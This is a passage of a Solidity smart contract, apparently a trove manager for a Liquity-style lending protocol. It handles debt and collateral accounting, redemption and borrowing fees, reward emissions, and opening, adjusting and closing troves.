debt);\n }\n\n /**\n @notice Get the total and pending collateral and debt amounts for a trove\n @dev Used by the liquidation manager\n */\n function getEntireDebtAndColl(\n address _borrower\n ) public view returns (uint256 debt, uint256 coll, uint256 pendingDebtReward, uint256 pendingCollateralReward) {\n Trove storage t = Troves[_borrower];\n debt = t.debt;\n coll = t.coll;\n\n (pendingCollateralReward, pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n // Accrued trove interest for correct liquidation values. This assumes the index to be updated.\n uint256 troveInterestIndex = t.activeInterestIndex;\n if (troveInterestIndex > 0) {\n (uint256 currentIndex, ) = _calculateInterestIndex();\n debt = (debt * currentIndex) / troveInterestIndex;\n }\n\n debt = debt + pendingDebtReward;\n coll = coll + pendingCollateralReward;\n }\n\n function getEntireSystemColl() public view returns (uint256) {\n return totalActiveCollateral + defaultedCollateral;\n }\n\n function getEntireSystemDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt + defaultedDebt;\n }\n\n function getEntireSystemBalances() external returns (uint256, uint256, uint256) {\n return (getEntireSystemColl(), getEntireSystemDebt(), fetchPrice());\n }\n\n // --- Helper functions ---\n\n // Return the nominal collateral ratio (ICR) of a given Trove, without the price. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getNominalICR(address _borrower) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 NICR = PrismaMath._computeNominalCR(currentCollateral, currentDebt);\n return NICR;\n }\n\n // Return the current collateral ratio (ICR) of a given Trove. Takes a trove's pending coll and debt rewards from redistributions into account.\n function getCurrentICR(address _borrower, uint256 _price) public view returns (uint256) {\n (uint256 currentCollateral, uint256 currentDebt) = getTroveCollAndDebt(_borrower);\n\n uint256 ICR = PrismaMath._computeCR(currentCollateral, currentDebt, _price);\n return ICR;\n }\n\n function getTotalActiveCollateral() public view returns (uint256) {\n return totalActiveCollateral;\n }\n\n function getTotalActiveDebt() public view returns (uint256) {\n uint256 currentActiveDebt = totalActiveDebt;\n (, uint256 interestFactor) = _calculateInterestIndex();\n if (interestFactor > 0) {\n uint256 activeInterests = Math.mulDiv(currentActiveDebt, interestFactor, INTEREST_PRECISION);\n currentActiveDebt = currentActiveDebt + activeInterests;\n }\n return currentActiveDebt;\n }\n\n // Get the borrower's pending accumulated collateral and debt rewards, earned by their stake\n function getPendingCollAndDebtRewards(address _borrower) public view returns (uint256, uint256) {\n RewardSnapshot memory snapshot = rewardSnapshots[_borrower];\n\n uint256 coll = L_collateral - snapshot.collateral;\n uint256 debt = L_debt - snapshot.debt;\n\n if (coll + debt == 0 || Troves[_borrower].status != Status.active) return (0, 0);\n\n uint256 stake = Troves[_borrower].stake;\n return ((stake * coll) / DECIMAL_PRECISION, (stake * debt) / DECIMAL_PRECISION);\n }\n\n function hasPendingRewards(address _borrower) public view returns (bool) {\n /*\n * A Trove has pending rewards if its snapshot is less than the current rewards per-unit-staked sum:\n * this indicates that rewards have occured since the snapshot was made, and the user therefore has\n * pending rewards\n */\n if (Troves[_borrower].status != Status.active) {\n return false;\n }\n\n return (rewardSnapshots[_borrower].collateral < L_collateral);\n }\n\n // --- Redemption fee functions ---\n\n /*\n * This function has two impacts on the baseRate state variable:\n * 1) decays the baseRate based on time passed since last redemption or debt borrowing operation.\n * then,\n * 2) increases the baseRate based on the amount redeemed, as a proportion of total supply\n */\n function _updateBaseRateFromRedemption(\n uint256 _collateralDrawn,\n uint256 _price,\n uint256 _totalDebtSupply\n ) internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n /* Convert the drawn collateral back to debt at face value rate (1 debt:1 USD), in order to get\n * the fraction of total supply that was redeemed at face value. */\n uint256 redeemedDebtFraction = (_collateralDrawn * _price) / _totalDebtSupply;\n\n uint256 newBaseRate = decayedBaseRate + (redeemedDebtFraction / BETA);\n newBaseRate = PrismaMath._min(newBaseRate, DECIMAL_PRECISION); // cap baseRate at a maximum of 100%\n\n // Update the baseRate state variable\n baseRate = newBaseRate;\n emit BaseRateUpdated(newBaseRate);\n\n _updateLastFeeOpTime();\n\n return newBaseRate;\n }\n\n function getRedemptionRate() public view returns (uint256) {\n return _calcRedemptionRate(baseRate);\n }\n\n function getRedemptionRateWithDecay() public view returns (uint256) {\n return _calcRedemptionRate(_calcDecayedBaseRate());\n }\n\n function _calcRedemptionRate(uint256 _baseRate) internal view returns (uint256) {\n return\n PrismaMath._min(\n redemptionFeeFloor + _baseRate,\n maxRedemptionFee // cap at a maximum of 100%\n );\n }\n\n function getRedemptionFeeWithDecay(uint256 _collateralDrawn) external view returns (uint256) {\n return _calcRedemptionFee(getRedemptionRateWithDecay(), _collateralDrawn);\n }\n\n function _calcRedemptionFee(uint256 _redemptionRate, uint256 _collateralDrawn) internal pure returns (uint256) {\n uint256 redemptionFee = (_redemptionRate * _collateralDrawn) / DECIMAL_PRECISION;\n require(redemptionFee < _collateralDrawn, \"Fee exceeds returned collateral\");\n return redemptionFee;\n }\n\n // --- Borrowing fee functions ---\n\n function getBorrowingRate() public view returns (uint256) {\n return _calcBorrowingRate(baseRate);\n }\n\n function getBorrowingRateWithDecay() public view returns (uint256) {\n return _calcBorrowingRate(_calcDecayedBaseRate());\n }\n\n function _calcBorrowingRate(uint256 _baseRate) internal view returns (uint256) {\n return PrismaMath._min(borrowingFeeFloor + _baseRate, maxBorrowingFee);\n }\n\n function getBorrowingFee(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRate(), _debt);\n }\n\n function getBorrowingFeeWithDecay(uint256 _debt) external view returns (uint256) {\n return _calcBorrowingFee(getBorrowingRateWithDecay(), _debt);\n }\n\n function _calcBorrowingFee(uint256 _borrowingRate, uint256 _debt) internal pure returns (uint256) {\n return (_borrowingRate * _debt) / DECIMAL_PRECISION;\n }\n\n // --- Internal fee functions ---\n\n // Update the last fee operation time only if time passed >= decay interval. This prevents base rate griefing.\n function _updateLastFeeOpTime() internal {\n uint256 timePassed = block.timestamp - lastFeeOperationTime;\n\n if (timePassed >= SECONDS_IN_ONE_MINUTE) {\n lastFeeOperationTime = block.timestamp;\n emit LastFeeOpTimeUpdated(block.timestamp);\n }\n }\n\n function _calcDecayedBaseRate() internal view returns (uint256) {\n uint256 minutesPassed = (block.timestamp - lastFeeOperationTime) / SECONDS_IN_ONE_MINUTE;\n uint256 decayFactor = PrismaMath._decPow(minuteDecayFactor, minutesPassed);\n\n return (baseRate * decayFactor) / DECIMAL_PRECISION;\n }\n\n // --- Redemption functions ---\n\n /* Send _debtAmount debt to the system and redeem the corresponding amount of collateral from as many Troves as are needed to fill the redemption\n * request. Applies pending rewards to a Trove before reducing its debt and coll.\n *\n * Note that if _amount is very large, this function can run out of gas, specially if traversed troves are small. This can be easily avoided by\n * splitting the total _amount in appropriate chunks and calling the function multiple times.\n *\n * Param `_maxIterations` can also be provided, so the loop through Troves is capped (if it’s zero, it will be ignored).This makes it easier to\n * avoid OOG for the frontend, as only knowing approximately the average cost of an iteration is enough, without needing to know the “topology”\n * of the trove list. It also avoids the need to set the cap in stone in the contract, nor doing gas calculations, as both gas price and opcode\n * costs can vary.\n *\n * All Troves that are redeemed from -- with the likely exception of the last one -- will end up with no debt left, therefore they will be closed.\n * If the last Trove does have some remaining debt, it has a finite ICR, and the reinsertion could be anywhere in the list, therefore it requires a hint.\n * A frontend should use getRedemptionHints() to calculate what the ICR of this Trove will be after redemption, and pass a hint for its position\n * in the sortedTroves list along with the ICR value that the hint was found for.\n *\n * If another transaction modifies the list between calling getRedemptionHints() and passing the hints to redeemCollateral(), it\n * is very likely that the last (partially) redeemed Trove would end up with a different ICR than what the hint is for. In this case the\n * redemption will stop after the last completely redeemed Trove and the sender will keep the remaining debt amount, which they can attempt\n * to redeem later.\n */\n function redeemCollateral(\n uint256 _debtAmount,\n address _firstRedemptionHint,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR,\n uint256 _maxIterations,\n uint256 _maxFeePercentage\n ) external {\n ISortedTroves _sortedTrovesCached = sortedTroves;\n RedemptionTotals memory totals;\n\n require(\n _maxFeePercentage >= redemptionFeeFloor && _maxFeePercentage <= maxRedemptionFee,\n \"Max fee 0.5% to 100%\"\n );\n require(block.timestamp >= systemDeploymentTime + bootstrapPeriod, \"BOOTSTRAP_PERIOD\");\n totals.price = fetchPrice();\n uint256 _MCR = MCR;\n require(IBorrowerOperations(borrowerOperationsAddress).getTCR() >= _MCR, \"Cannot redeem when TCR < MCR\");\n require(_debtAmount > 0, \"Amount must be greater than zero\");\n require(debtToken.balanceOf(msg.sender) >= _debtAmount, \"Insufficient balance\");\n _updateBalances();\n totals.totalDebtSupplyAtStart = getEntireSystemDebt();\n\n totals.remainingDebt = _debtAmount;\n address currentBorrower;\n\n if (_isValidFirstRedemptionHint(_sortedTrovesCached, _firstRedemptionHint, totals.price, _MCR)) {\n currentBorrower = _firstRedemptionHint;\n } else {\n currentBorrower = _sortedTrovesCached.getLast();\n // Find the first trove with ICR >= MCR\n while (currentBorrower != address(0) && getCurrentICR(currentBorrower, totals.price) < _MCR) {\n currentBorrower = _sortedTrovesCached.getPrev(currentBorrower);\n }\n }\n\n // Loop through the Troves starting from the one with lowest collateral ratio until _amount of debt is exchanged for collateral\n if (_maxIterations == 0 || _maxIterations > 100) {\n _maxIterations = 100;\n }\n totals.trovesRedeemed = new ReedemedTrove[](_maxIterations);\n totals.numberOfRedemptions = 0;\n while (currentBorrower != address(0) && totals.remainingDebt > 0 && _maxIterations > 0) {\n _maxIterations--;\n // Save the address of the Trove preceding the current one, before potentially modifying the list\n address nextUserToCheck = _sortedTrovesCached.getPrev(currentBorrower);\n\n _applyPendingRewards(currentBorrower);\n SingleRedemptionValues memory singleRedemption = _redeemCollateralFromTrove(\n _sortedTrovesCached,\n currentBorrower,\n totals.remainingDebt,\n totals.price,\n _upperPartialRedemptionHint,\n _lowerPartialRedemptionHint,\n _partialRedemptionHintNICR\n );\n if (singleRedemption.cancelledPartial) break; // Partial redemption was cancelled (out-of-date hint, or new net debt < minimum), therefore we could not redeem from the last Trove\n\n totals.trovesRedeemed[totals.numberOfRedemptions++] = ReedemedTrove(\n currentBorrower,\n singleRedemption.debtLot,\n singleRedemption.collateralLot\n );\n\n totals.totalDebtToRedeem = totals.totalDebtToRedeem + singleRedemption.debtLot;\n totals.totalCollateralDrawn = totals.totalCollateralDrawn + singleRedemption.collateralLot;\n\n totals.remainingDebt = totals.remainingDebt - singleRedemption.debtLot;\n currentBorrower = nextUserToCheck;\n }\n require(totals.totalCollateralDrawn > 0, \"Unable to redeem any amount\");\n\n // Decay the baseRate due to time passed, and then increase it according to the size of this redemption.\n // Use the saved total debt supply value, from before it was reduced by the redemption.\n _updateBaseRateFromRedemption(totals.totalCollateralDrawn, totals.price, totals.totalDebtSupplyAtStart);\n\n // Calculate the collateral fee\n totals.collateralFee = sunsetting ? 0 : _calcRedemptionFee(getRedemptionRate(), totals.totalCollateralDrawn);\n\n _requireUserAcceptsFee(totals.collateralFee, totals.totalCollateralDrawn, _maxFeePercentage);\n uint256 userRebate = (redemptionFeesRebate * totals.collateralFee) / 10000;\n\n uint256 _numberOfRedemptions = totals.numberOfRedemptions;\n if (userRebate > 0) {\n for (uint256 i; i < _numberOfRedemptions; ) {\n ReedemedTrove memory refund = totals.trovesRedeemed[i];\n surplusBalances[refund.account] += (userRebate * refund.collateralLot) / totals.totalCollateralDrawn;\n unchecked {\n ++i;\n }\n }\n }\n\n if (redemptionFeesRebate < 10000) {\n uint256 treasuryRebate = totals.collateralFee - userRebate;\n _sendCollateral(PRISMA_CORE.feeReceiver(), treasuryRebate);\n }\n totals.collateralToSendToRedeemer = totals.totalCollateralDrawn - totals.collateralFee;\n\n emit Redemption(_debtAmount, totals.totalDebtToRedeem, totals.totalCollateralDrawn, totals.collateralFee);\n\n // Burn the total debt that is cancelled with debt, and send the redeemed collateral to msg.sender\n debtToken.burn(msg.sender, totals.totalDebtToRedeem);\n // Update Trove Manager debt, and send collateral to account\n totalActiveDebt = totalActiveDebt - totals.totalDebtToRedeem;\n _sendCollateral(msg.sender, totals.collateralToSendToRedeemer);\n _resetState();\n if (address(_redemptionsCallback) != address(0)) {\n assembly {\n // Load array pointer value at slot 9 in the struct\n let trovesRedeemedLengthSlot := mload(add(totals, 0x120))\n // Set array length in referenced location\n mstore(trovesRedeemedLengthSlot, _numberOfRedemptions)\n }\n _redemptionsCallback.onRedemptions(totals.trovesRedeemed);\n }\n }\n\n // Redeem as much collateral as possible from _borrower's Trove in exchange for debt up to _maxDebtAmount\n function _redeemCollateralFromTrove(\n ISortedTroves _sortedTrovesCached,\n address _borrower,\n uint256 _maxDebtAmount,\n uint256 _price,\n address _upperPartialRedemptionHint,\n address _lowerPartialRedemptionHint,\n uint256 _partialRedemptionHintNICR\n ) internal returns (SingleRedemptionValues memory singleRedemption) {\n Trove storage t = Troves[_borrower];\n // Determine the remaining amount (lot) to be redeemed, capped by the entire debt of the Trove minus the liquidation reserve\n singleRedemption.debtLot = PrismaMath._min(_maxDebtAmount, t.debt - DEBT_GAS_COMPENSATION);\n\n // Get the CollateralLot of equivalent value in USD\n singleRedemption.collateralLot = (singleRedemption.debtLot * DECIMAL_PRECISION) / _price;\n\n // Decrease the debt and collateral of the current Trove according to the debt lot and corresponding collateral to send\n uint256 newDebt = (t.debt) - singleRedemption.debtLot;\n uint256 newColl = (t.coll) - singleRedemption.collateralLot;\n\n if (newDebt == DEBT_GAS_COMPENSATION) {\n // No debt left in the Trove (except for the liquidation reserve), therefore the trove gets closed\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByRedemption);\n _redeemCloseTrove(_borrower, DEBT_GAS_COMPENSATION, newColl);\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.redeemCollateral);\n } else {\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n /*\n * If the provided hint is out of date, we bail since trying to reinsert without a good hint will almost\n * certainly result in running out of gas.\n *\n * If the resultant net debt of the partial is less than the minimum, net debt we bail.\n */\n\n {\n // We check if the ICR hint is reasonable up to date, with continuous interest there might be slight differences (<1bps)\n uint256 icrError = _partialRedemptionHintNICR > newNICR\n ? _partialRedemptionHintNICR - newNICR\n : newNICR - _partialRedemptionHintNICR;\n if (\n icrError > 5e14 ||\n _getNetDebt(newDebt) < IBorrowerOperations(borrowerOperationsAddress).minNetDebt()\n ) {\n singleRedemption.cancelledPartial = true;\n return singleRedemption;\n }\n }\n\n _sortedTrovesCached.reInsert(_borrower, newNICR, _upperPartialRedemptionHint, _lowerPartialRedemptionHint);\n\n t.debt = newDebt;\n t.coll = newColl;\n _updateStakeAndTotalStakes(t);\n\n emit TroveUpdated(_borrower, newDebt, newColl, t.stake, TroveManagerOperation.redeemCollateral);\n }\n\n return singleRedemption;\n }\n\n /*\n * Called when a full redemption occurs, and closes the trove.\n * The redeemer swaps (debt - liquidation reserve) debt for (debt - liquidation reserve) worth of collateral, so the debt liquidation reserve left corresponds to the remaining debt.\n * In order to close the trove, the debt liquidation reserve is burned, and the corresponding debt is removed.\n * The debt recorded on the trove's struct is zero'd elswhere, in _closeTrove.\n * Any surplus collateral left in the trove can be later claimed by the borrower.\n */\n function _redeemCloseTrove(address _borrower, uint256 _debt, uint256 _collateral) internal {\n debtToken.burn(gasPoolAddress, _debt);\n totalActiveDebt = totalActiveDebt - _debt;\n\n surplusBalances[_borrower] += _collateral;\n totalActiveCollateral -= _collateral;\n }\n\n function _isValidFirstRedemptionHint(\n ISortedTroves _sortedTroves,\n address _firstRedemptionHint,\n uint256 _price,\n uint256 _MCR\n ) internal view returns (bool) {\n if (\n _firstRedemptionHint == address(0) ||\n !_sortedTroves.contains(_firstRedemptionHint) ||\n getCurrentICR(_firstRedemptionHint, _price) < _MCR\n ) {\n return false;\n }\n\n address nextTrove = _sortedTroves.getNext(_firstRedemptionHint);\n return nextTrove == address(0) || getCurrentICR(nextTrove, _price) < _MCR;\n }\n\n /**\n * Claim remaining collateral from a redemption or from a liquidation with ICR > MCR in Recovery Mode\n */\n function claimCollateral(address _receiver) external {\n uint256 claimableColl = surplusBalances[msg.sender];\n require(claimableColl > 0, \"No collateral available to claim\");\n\n surplusBalances[msg.sender] = 0;\n\n collateralToken.safeTransfer(_receiver, claimableColl);\n }\n\n // --- Reward Claim functions ---\n\n function claimReward(address receiver) external returns (uint256) {\n uint256 amount = _claimReward(msg.sender);\n\n if (amount > 0) {\n vault.transferAllocatedTokens(msg.sender, receiver, amount);\n }\n emit RewardClaimed(msg.sender, receiver, amount);\n return amount;\n }\n\n function vaultClaimReward(address claimant, address) external returns (uint256) {\n require(msg.sender == address(vault));\n\n return _claimReward(claimant);\n }\n\n function _claimReward(address account) internal returns (uint256) {\n require(emissionId.debt > 0, \"Rewards not active\");\n // update active debt rewards\n _applyPendingRewards(account);\n uint256 amount = storedPendingReward[account];\n if (amount > 0) storedPendingReward[account] = 0;\n\n // add pending mint awards\n uint256 mintAmount = _getPendingMintReward(account);\n if (mintAmount > 0) {\n amount += mintAmount;\n delete accountLatestMint[account];\n }\n\n return amount;\n }\n\n function claimableReward(address account) external view returns (uint256) {\n // previously calculated rewards\n uint256 amount = storedPendingReward[account];\n\n // pending active debt rewards\n uint256 updated = periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n uint256 integral = rewardIntegral;\n if (duration > 0) {\n uint256 supply = totalActiveDebt;\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n }\n }\n uint256 integralFor = rewardIntegralFor[account];\n\n if (integral > integralFor) {\n amount += (Troves[account].debt * (integral - integralFor)) / 1e18;\n }\n\n // pending mint rewards\n amount += _getPendingMintReward(account);\n\n return amount;\n }\n\n function _getPendingMintReward(address account) internal view returns (uint256 amount) {\n VolumeData memory data = accountLatestMint[account];\n if (data.amount > 0) {\n (uint256 week, uint256 day) = getWeekAndDay();\n if (data.day != day || data.week != week) {\n return (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n }\n }\n }\n\n function _updateIntegrals(address account, uint256 balance, uint256 supply) internal {\n uint256 integral = _updateRewardIntegral(supply);\n _updateIntegralForAccount(account, balance, integral);\n }\n\n function _updateIntegralForAccount(address account, uint256 balance, uint256 currentIntegral) internal {\n uint256 integralFor = rewardIntegralFor[account];\n\n if (currentIntegral > integralFor) {\n storedPendingReward[account] += (balance * (currentIntegral - integralFor)) / 1e18;\n rewardIntegralFor[account] = currentIntegral;\n }\n }\n\n function _updateRewardIntegral(uint256 supply) internal returns (uint256 integral) {\n uint256 _periodFinish = periodFinish;\n uint256 updated = _periodFinish;\n if (updated > block.timestamp) updated = block.timestamp;\n uint256 duration = updated - lastUpdate;\n integral = rewardIntegral;\n if (duration > 0) {\n lastUpdate = uint32(updated);\n if (supply > 0) {\n integral += (duration * rewardRate * 1e18) / supply;\n rewardIntegral = integral;\n }\n }\n _fetchRewards(_periodFinish);\n\n return integral;\n }\n\n function _fetchRewards(uint256 _periodFinish) internal {\n EmissionId memory id = emissionId;\n if (id.debt == 0) return;\n uint256 currentWeek = getWeek();\n if (currentWeek < (_periodFinish - startTime) / 1 weeks) return;\n uint256 previousWeek = (_periodFinish - startTime) / 1 weeks - 1;\n\n // active debt rewards\n uint256 amount = vault.allocateNewEmissions(id.debt);\n if (block.timestamp < _periodFinish) {\n uint256 remaining = _periodFinish - block.timestamp;\n amount += remaining * rewardRate;\n }\n rewardRate = uint128(amount / REWARD_DURATION);\n lastUpdate = uint32(block.timestamp);\n periodFinish = uint32(block.timestamp + REWARD_DURATION);\n\n // minting rewards\n amount = vault.allocateNewEmissions(id.minting);\n uint256 reward = dailyMintReward[previousWeek];\n if (reward > 0) {\n uint32[7] memory totals = totalMints[previousWeek];\n for (uint256 i = 0; i < 7; i++) {\n if (totals[i] == 0) {\n amount += reward;\n }\n }\n }\n dailyMintReward[currentWeek] = amount / 7;\n }\n\n // --- Trove Adjustment functions ---\n\n function openTrove(\n address _borrower,\n uint256 _collateralAmount,\n uint256 _compositeDebt,\n uint256 NICR,\n address _upperHint,\n address _lowerHint,\n bool _isRecoveryMode\n ) external whenNotPaused returns (uint256 stake, uint256 arrayIndex) {\n _requireCallerIsBO();\n require(!sunsetting, \"Cannot open while sunsetting\");\n uint256 supply = totalActiveDebt;\n\n Trove storage t = Troves[_borrower];\n require(t.status != Status.active, \"BorrowerOps: Trove is active\");\n t.status = Status.active;\n t.coll = _collateralAmount;\n t.debt = _compositeDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n t.activeInterestIndex = currentInterestIndex;\n _updateTroveRewardSnapshots(_borrower);\n stake = _updateStakeAndTotalStakes(t);\n sortedTroves.insert(_borrower, NICR, _upperHint, _lowerHint);\n\n TroveOwners.push(_borrower);\n arrayIndex = TroveOwners.length - 1;\n t.arrayIndex = uint128(arrayIndex);\n\n _updateIntegrals(_borrower, 0, supply);\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _compositeDebt);\n\n totalActiveCollateral = totalActiveCollateral + _collateralAmount;\n uint256 _newTotalDebt = totalActiveDebt + _compositeDebt;\n require(_newTotalDebt + defaultedDebt <= maxSystemDebt, \"Collateral debt limit reached\");\n totalActiveDebt = _newTotalDebt;\n emit TroveUpdated(_borrower, _compositeDebt, _collateralAmount, stake, TroveManagerOperation.open);\n }\n\n function updateTroveFromAdjustment(\n bool _isRecoveryMode,\n bool _isDebtIncrease,\n uint256 _debtChange,\n uint256 _netDebtChange,\n bool _isCollIncrease,\n uint256 _collChange,\n address _upperHint,\n address _lowerHint,\n address _borrower,\n address _receiver\n ) external returns (uint256, uint256, uint256) {\n _requireCallerIsBO();\n if (_isCollIncrease || _isDebtIncrease) {\n require(!paused, \"Collateral Paused\");\n require(!sunsetting, \"Cannot increase while sunsetting\");\n }\n\n Trove storage t = Troves[_borrower];\n require(t.status == Status.active, \"Trove closed or does not exist\");\n\n uint256 newDebt = t.debt;\n if (_debtChange > 0) {\n if (_isDebtIncrease) {\n newDebt = newDebt + _netDebtChange;\n if (!_isRecoveryMode) _updateMintVolume(_borrower, _netDebtChange);\n _increaseDebt(_receiver, _netDebtChange, _debtChange);\n } else {\n newDebt = newDebt - _netDebtChange;\n _decreaseDebt(_receiver, _debtChange);\n }\n t.debt = newDebt;\n }\n\n uint256 newColl = t.coll;\n if (_collChange > 0) {\n if (_isCollIncrease) {\n newColl = newColl + _collChange;\n totalActiveCollateral = totalActiveCollateral + _collChange;\n // trust that BorrowerOperations sent the collateral\n } else {\n newColl = newColl - _collChange;\n _sendCollateral(_receiver, _collChange);\n }\n t.coll = newColl;\n }\n\n uint256 newNICR = PrismaMath._computeNominalCR(newColl, newDebt);\n sortedTroves.reInsert(_borrower, newNICR, _upperHint, _lowerHint);\n uint256 newStake = _updateStakeAndTotalStakes(t);\n emit TroveUpdated(_borrower, newDebt, newColl, newStake, TroveManagerOperation.adjust);\n\n return (newColl, newDebt, newStake);\n }\n\n function closeTrove(address _borrower, address _receiver, uint256 collAmount, uint256 debtAmount) external {\n _requireCallerIsBO();\n require(Troves[_borrower].status == Status.active, \"Trove closed or does not exist\");\n _removeStake(_borrower);\n _closeTrove(_borrower, Status.closedByOwner);\n if (TroveOwners.length > 0) {\n totalActiveDebt = totalActiveDebt - debtAmount;\n } else {\n // Account for dust discrepancies due to interest sampling\n totalActiveDebt = 0;\n }\n _sendCollateral(_receiver, collAmount);\n _resetState();\n emit TroveUpdated(_borrower, 0, 0, 0, TroveManagerOperation.close);\n }\n\n /**\n @dev Only called from `closeTrove` because liquidating the final trove is blocked in\n `LiquidationManager`. Many liquidation paths involve redistributing debt and\n collateral to existing troves. If the collateral is being sunset, the final trove\n must be closed by repaying the debt or via a redemption.\n */\n function _resetState() private {\n if (TroveOwners.length == 0) {\n activeInterestIndex = INTEREST_PRECISION;\n lastActiveIndexUpdate = block.timestamp;\n totalStakes = 0;\n totalStakesSnapshot = 0;\n totalCollateralSnapshot = 0;\n L_collateral = 0;\n L_debt = 0;\n lastCollateralError_Redistribution = 0;\n lastDebtError_Redistribution = 0;\n totalActiveCollateral = 0;\n totalActiveDebt = 0;\n defaultedCollateral = 0;\n defaultedDebt = 0;\n }\n }\n\n function _closeTrove(address _borrower, Status closedStatus) internal {\n uint256 TroveOwnersArrayLength = TroveOwners.length;\n\n Trove storage t = Troves[_borrower];\n t.status = closedStatus;\n t.coll = 0;\n t.debt = 0;\n t.activeInterestIndex = 0;\n ISortedTroves sortedTrovesCached = sortedTroves;\n rewardSnapshots[_borrower].collateral = 0;\n rewardSnapshots[_borrower].debt = 0;\n if (TroveOwnersArrayLength > 1 && sortedTrovesCached.getSize() > 1) {\n // remove trove owner from the TroveOwners array, not preserving array order\n uint128 index = t.arrayIndex;\n address addressToMove = TroveOwners[TroveOwnersArrayLength - 1];\n TroveOwners[index] = addressToMove;\n Troves[addressToMove].arrayIndex = index;\n emit TroveIndexUpdated(addressToMove, index);\n }\n\n TroveOwners.pop();\n\n sortedTrovesCached.remove(_borrower);\n t.arrayIndex = 0;\n }\n\n function _updateMintVolume(address account, uint256 initialAmount) internal {\n uint32 amount = uint32(initialAmount / VOLUME_MULTIPLIER);\n (uint256 week, uint256 day) = getWeekAndDay();\n totalMints[week][day] += amount;\n\n VolumeData memory data = accountLatestMint[account];\n if (data.day == day && data.week == week) {\n // if the caller made a previous redemption today, we only increase their redeemed amount\n accountLatestMint[account].amount = data.amount + amount;\n } else {\n if (data.amount > 0) {\n // if the caller made a previous redemption on a different day,\n // calculate the emissions earned for that redemption\n uint256 pending = (dailyMintReward[data.week] * data.amount) / totalMints[data.week][data.day];\n storedPendingReward[account] += pending;\n }\n accountLatestMint[account] = VolumeData({ week: uint32(week), day: uint32(day), amount: amount });\n }\n }\n\n // Updates the baseRate state variable based on time elapsed since the last redemption or debt borrowing operation.\n function decayBaseRateAndGetBorrowingFee(uint256 _debt) external returns (uint256) {\n _requireCallerIsBO();\n uint256 rate = _decayBaseRate();\n\n return _calcBorrowingFee(_calcBorrowingRate(rate), _debt);\n }\n\n function _decayBaseRate() internal returns (uint256) {\n uint256 decayedBaseRate = _calcDecayedBaseRate();\n\n baseRate = decayedBaseRate;\n emit BaseRateUpdated(decayedBaseRate);\n\n _updateLastFeeOpTime();\n\n return decayedBaseRate;\n }\n\n function applyPendingRewards(address _borrower) external returns (uint256 coll, uint256 debt) {\n _requireCallerIsBO();\n return _applyPendingRewards(_borrower);\n }\n\n // Add the borrowers's coll and debt rewards earned from redistributions, to their Trove\n function _applyPendingRewards(address _borrower) internal returns (uint256 coll, uint256 debt) {\n Trove storage t = Troves[_borrower];\n if (t.status == Status.active) {\n uint256 troveInterestIndex = t.activeInterestIndex;\n uint256 supply = totalActiveDebt;\n uint256 currentInterestIndex = _accrueActiveInterests();\n debt = t.debt;\n uint256 prevDebt = debt;\n coll = t.coll;\n // We accrued interests for this trove if not already updated\n if (troveInterestIndex < currentInterestIndex) {\n debt = (debt * currentInterestIndex) / troveInterestIndex;\n t.activeInterestIndex = currentInterestIndex;\n }\n\n if (rewardSnapshots[_borrower].collateral < L_collateral) {\n // Compute pending rewards\n (uint256 pendingCollateralReward, uint256 pendingDebtReward) = getPendingCollAndDebtRewards(_borrower);\n\n // Apply pending rewards to trove's state\n coll = coll + pendingCollateralReward;\n t.coll = coll;\n debt = debt + pendingDebtReward;\n\n _updateTroveRewardSnapshots(_borrower);\n\n _movePendingTroveRewardsToActiveBalance(pendingDebtReward, pendingCollateralReward);\n }\n if (prevDebt != debt) {\n t.debt = debt;\n }\n _updateIntegrals(_borrower, prevDebt, supply);\n }\n return (coll, debt);\n }\n\n function _updateTroveRewardSnapshots(address _borrower) internal {\n uint256 L_collateralCached = L_collateral;\n uint256 L_debtCached = L_debt;\n rewardSnapshots[_borrower] = RewardSnapshot(L_collateralCached, L_debtCached);\n emit TroveSnapshotsUpdated(L_collateralCached, L_debtCached);\n }\n\n // Remove borrower's stake from the totalStakes sum, and set their stake to 0\n function _removeStake(address _borrower) internal {\n uint256 stake = Troves[_borrower].stake;\n totalStakes = totalStakes - stake;\n Troves[_borrower].stake = 0;\n }\n\n // Update borrower's stake based on their latest collateral value\n function _updateStakeAndTotalStakes(Trove storage t) internal returns (uint256) {\n uint256 newStake = _computeNewStake(t.coll);\n uint256 oldStake = t.stake;\n t.stake = newStake;\n uint256 newTotalStakes = totalStakes - oldStake + newStake;\n totalStakes = newTotalStakes;\n emit TotalStakesUpdated(newTotalStakes);\n\n return newStake;\n }\n\n // Calculate a new stake based on the snapshots of the totalStakes and totalCollateral taken at the last liquidation\n function _computeNewStake(uint256 _coll) internal view returns (uint256) {\n uint256 stake;\n uint256 totalCollateralSnapshotCached = totalCollateralSnapshot;\n if (totalCollateralSnapshotCached == 0) {\n stake = _coll;\n } else {\n /*\n * The following assert() holds true because:\n * - The system always contains >= 1 trove\n * - When we close or liquidate a trove, we redistribute the pending rewards, so if all troves were closed/liquidated,\n * rewards would’ve been emptied and totalCollateralSnapshot would be zero too.\n */\n uint256 totalStakesSnapshotCached = totalStakesSnapshot;\n assert(totalStakesSnapshotCached > 0);\n stake = (_coll * totalStakesSnapshotCached) / totalCollateralSnapshotCached;\n }\n return stake;\n }\n\n // --- Liquidation Functions ---\n\n function closeTroveByLiquidation(address _borrower) external {\n _requireCallerIsLM();\n uint256 debtBefore = Troves[_borrower].debt;\n 